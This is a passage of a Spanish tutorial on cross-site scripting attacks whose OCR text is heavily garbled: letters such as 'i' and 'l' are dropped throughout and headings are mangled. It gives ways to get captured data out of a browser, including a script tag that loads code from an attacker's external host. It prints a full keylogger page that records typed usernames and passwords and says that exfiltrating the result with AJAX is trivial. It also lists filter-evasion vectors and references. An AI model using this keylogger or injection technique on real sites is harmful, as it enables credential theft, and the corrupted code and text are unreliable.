Esta proteccn de segurdad tambn ha supuesto una pega para os propos
desarroadores, ya que a una apcacn web puede nteresare que desde
e cente se hagan petcones A|AX a dstntos domnos. Una soucn para esto
sera smpemente crear una espece de proxy en e msmo domno para redrgr
as petcones desde e domno egtmo a cuaquer otro.
Para e usuaro magno exsten otras formas de consegur su propsto u evadr
esta proteccn:
La ms obva, es envar os datos capturados a a propa web. En e caso de
guestbook sera tan smpe como crear una nueva entrada. Se podra utzar
agn tpo de codfcacn o cfrado smpe para ocutar os datos capturados
y sto.
Insertar e snffer de a|ax desde un ugar externo y drgr os datos a :
<scrpt src="http://www.super|uacker.net" ></scrpt>
Aprovecharse de as propedades de |avascrpt como engua|e orentado a
ob|etos para reescrbr as funcones de A|AX. Esta tcnca ha sdo descrta
en esta web:
http://myappsecurty.bogspot.com/2007/01/a|ax-snffer-prrof-of-
concept.htm
Adems ha ncudo una prueba de concepto que funcona perfectamente.
(1%."). )!ifa!do da&os
4party Ataques XSS
Esto sera un e|empo de cdgo de cmo capturar datos. Basta con usar e evento
onkeydown.

<!DOCTYPE htm PUBLIC "-//W3C//DTD HTML 4.01 Transtona//EN">
<htm>
<head>
<tte>Captura de datos</tte>
<!-- Este es un comentaro HTML, e usuaro no o ve en e navegador -->
<meta http-equv="content-type" content="text/htm; charset=ISO-8859-1">
</head>
<body>
<form name="formuaro" method="post" acton="envar.php">
Nombre:<nput type="text" name="nombre" vaue="" >
Password:<nput type="password" name="password" vaue="" >
<nput type="submt" name="envar" vaue="Envar" >
</form>
<scrpt anguage="|avascrpt">
// Defnmos e hander para keyDown
document.onkeydown = capturaKeyDown;
document.forms|0|.onsubmt = mostrar;

var textocapturado = "";
// Funcn que captura
functon capturaKeyDown (evento)
{
// Recuperamos evento y teca
var ob|Evento =wndow.event? event : evento;
var teca = ob|Evento.keyCode? ob|Evento.keyCode : ob|Evento.charCode;

var caracter = Strng.fromCharCode(teca).toLowerCase();

// Guardamos tabuacones
f (teca == 9) {caracter = " <tab> ";}

// Se pusaba shft?
f (ob|Evento.shftKey) { caracter =
Strng.fromCharCode(teca).toUpperCase(); }
//aert(teca);
textocapturado += "" + caracter;
}

// Mostrar captura
functon mostrar ()
{
aert("Texto capturado: \n" + textocapturado);
}

</scrpt>
</body>
4party Ataques XSS
</htm>
A fna se usa un aert para mostrar e texto capturado. Hacer que e cdgo enve
una e texto a exteror con A|AX ya es cuestn de aadr sus funcones y ya est.
5tras opciones
Exsten otras maneras de sacar datos de navegador. Pueden usarse os pugns
de fash o de |ava.
Las anmacones fash dsponen de un engua|e de scrptng nterno e acton scrpt
que permte a recepcn y e envo de datos en formato XML (te suena?).
Insertando un fash magno se podra consegur sacar datos.
Los appets de |ava tambn pueden comuncarse con e exteror, en prncpo con
su msma mquna de orgen. Desde e cente, un appet puede abrr un socket
haca una mquna sempre que esta sea a msma desde e que se ha ba|ado. Se
podra nsertar un appet con forma de pantaa de ogn y sacar os datos fuera sn
probemas.
4party Ataques XSS
(11). 9ormas de introducir 7++
Exsten nfndad de maneras de evar a cabo un XSS. Lo ms fc es a va
drecta aunque eso soo es posbe s a web no reaza nnguna comprobacn. S
a web eva a cabo comprobacones para evtar e XSS ser ms dfc pero
dependendo de cmo se haga e ftrado an puede haber opcones para nsertar
cdgo |avascrpt.
En muchas comprobacones smpemente se buscan as etquetas <scrpt>, pero
ese ftrado no es sufcente ya que una accn |avascrpt puede evarse a cabo
medante una etqueta htm a travs de atrbutos o eventos.
En ugar de hacer un stado de todas as formas dsponbes, recomendara
pasarse por esta pgna web:
http://ha.ckers.org/xss.htm
Es un argo compendo de formas de evadr os ftros de vadacn, no soo para
consegur usar a etqueta scrpt sno para buscar otras aternatvas:
Cuaquer etqueta con atrbuto src (mg, nput type="mage",...)
Cuaquer etqueta con atrbuto href (a, nk, )
Eventos como onerror
Estos donde se referencan mgenes
Etquetas meta
Etquetas stye
un argo etc...

4party Ataques XSS
/e&erencias: %ebs: artculos8
2rtculos
|+| C$%& dvisor' C-()))-)( - *alicious +&*, &ags $mbedded in Client Web
%equests
http://www.cert.org/advsores/CA-2000-02.htm
|+| D-* .ased Cross Site Scripting or XSS o! the &hird /ind
http://www.webappsec.org/pro|ects/artces/071105.shtm
|+| .'passing 0avaScript 1ilters the 1lash2 attac3, EyeonSecurty, |une 5 2002
|+| &he +&*, 1orm 4rotocol ttac3" |ochen Topf, August 8 2001
|+| +-W&-5 4revent Cross-Site Scripting Securit' 6ssues 78(9(:;9<, Mcrosoft,
February 1 2000
|+| =nderstanding *alicious Content *itigation !or Web Developers, CERT
Coordnaton Center, February 2 2000
|+| =%, $ncoded ttac3s, Internet Securty Systems, Gunter Omann, Apr 1
2002
|+| Cross-site Scripting -verview, Mcrosoft, February 2 2000
|+| &he $volution o! Cross-site Scripting ttac3s" Defence, Davd Eder, May 20
2002
;ibros8
|+| Hackng Exposed Web Appcatons - McGraw H. 2002
|+| Web Hackng: Attacks and Defense - Addson Wesey. 2002 (desfasado)
|+| Web Securty & Commerce - O'Rey. (desfasado)
|+| |avascrpt, the Defntve Gude. - O'Rey
|+| Web Desgn n a Nutshe - O'Rey
<ebs
|+| BBBDD de ataques XSS
http://ha.ckers.org/xss.htm
|+| Introduccn a DOM
http://www.maestrosdeweb.com/edtora/dom/
|+| Artcuo sobre programacn DOM
http://www.pageresource.com/dhtm/ryan/part4-1.htm
|+| DOM npementacn de moza
http://deveoper.moza.org/en/docs/Gecko_DOM_Reference

También podría gustarte